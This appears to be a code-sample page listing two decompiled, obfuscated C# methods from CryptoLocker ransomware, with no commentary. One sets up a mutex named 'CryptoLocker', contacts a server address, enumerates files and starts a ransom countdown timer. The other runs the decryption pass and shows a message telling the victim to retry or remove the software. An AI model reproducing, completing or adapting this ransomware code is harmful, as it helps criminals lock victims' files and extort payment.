Exemple #1
0
        public void method_2(string string_1)
        {
            Delegate104.smethod_0(5000);
            Mutex object_ = Delegate17.smethod_0();

            if (this.gclass0_0.method_13(string_1))
            {
                Delegate105.smethod_0(this.progressBar_0, ProgressBarStyle.Blocks);
                Delegate102.smethod_1(this.progressBar_0, 0);
                Delegate102.smethod_2(this.progressBar_0, this.gclass0_0.method_22());
                Delegate83.smethod_3(this.progressBar_1, false);
                string[] array = this.string_0;
                for (int i = 0; i < array.Length; i++)
                {
                    string string_2 = array[i];
                    Delegate106.smethod_0(object_);
                    if (!Delegate98.smethod_1(string_2, ""))
                    {
                        Delegate54.smethod_0(this.label_8, string_2);
                        Delegate102.smethod_3(this.progressBar_0, 1);
                        this.gclass0_0.method_21(string_2);
                        Delegate107.smethod_0(object_);
                    }
                }
                Delegate106.smethod_0(object_);
                DialogResult dialogResult = Delegate97.smethod_0("Search and decryption of the found files completed. \n\nMake sure that all important files have been decrypted! If part of the files had not been decrypted - move them to the desktop and click <<Retry>> button. \n\nOtherwise, press <<Cancel>> button - this will delete the software from this computer. Please restart your computer to completely destroy this software!", "Attention!", MessageBoxButtons.RetryCancel, MessageBoxIcon.Exclamation);
                if (dialogResult == DialogResult.Retry)
                {
                    this.gclass0_0.method_23();
                    this.gclass0_0.method_24();
                }
                else
                {
                    this.gclass0_0.method_24();
                }
                Delegate107.smethod_0(object_);
            }
            Delegate108.smethod_0();
        }
Exemple #2
0
        private void method_1(object sender, EventArgs e)
        {
            ThreadStart   threadStart = null;
            List <string> list_       = new List <string>();

            try
            {
                this.gclass0_0.method_1();
                this.string_0 = Delegate88.smethod_0("http://", this.gclass0_0.method_4(), "/");
            }
            catch (Exception)
            {
            }
            Delegate41.smethod_5(this);
            if (this.gclass0_0.method_12(this.string_0))
            {
                if (threadStart == null)
                {
                    threadStart = new ThreadStart(this.method_9);
                }
                Thread object_ = Delegate16.smethod_0(threadStart);
                Delegate103.smethod_0(object_);
            }
            this.mutex_1 = Delegate17.smethod_0();
            this.mutex_0 = Delegate19.smethod_0(false, "CryptoLocker");
            if (this.gclass0_0.method_12(this.string_0))
            {
                try
                {
                    Delegate106.smethod_0(this.mutex_1);
                    if (this.gclass0_0.method_2(this.string_0, 1) || this.gclass0_0.method_2(this.string_0, 0))
                    {
                        foreach (string current in this.gclass0_0.method_5())
                        {
                            this.gclass0_0.method_19(list_, current);
                        }
                    }
                    this.gclass0_0.method_15(this.string_0);
                    Delegate107.smethod_0(this.mutex_1);
                }
                catch (Exception)
                {
                }
                try
                {
                    Delegate106.smethod_0(this.mutex_0);
                    Delegate106.smethod_0(this.mutex_1);
                }
                catch (AbandonedMutexException)
                {
                }
                Delegate41.smethod_8(this);
                try
                {
                    this.gclass0_0.method_11(this.string_0);
                    this.gclass0_0.method_10();
                }
                catch (Exception)
                {
                }
                this.gclass0_0.dateTime_0 = Delegate89.smethod_0().AddSeconds((double)this.gclass0_0.int_0);
                Delegate90.smethod_0(this.timer_0, 1000);
                Delegate60.smethod_0(this.timer_0, new EventHandler(this.method_2));
                Delegate91.smethod_0(this.timer_0);
                Delegate54.smethod_0(this.label_1, this.gclass0_0.dateTime_0.ToString());
            }
        }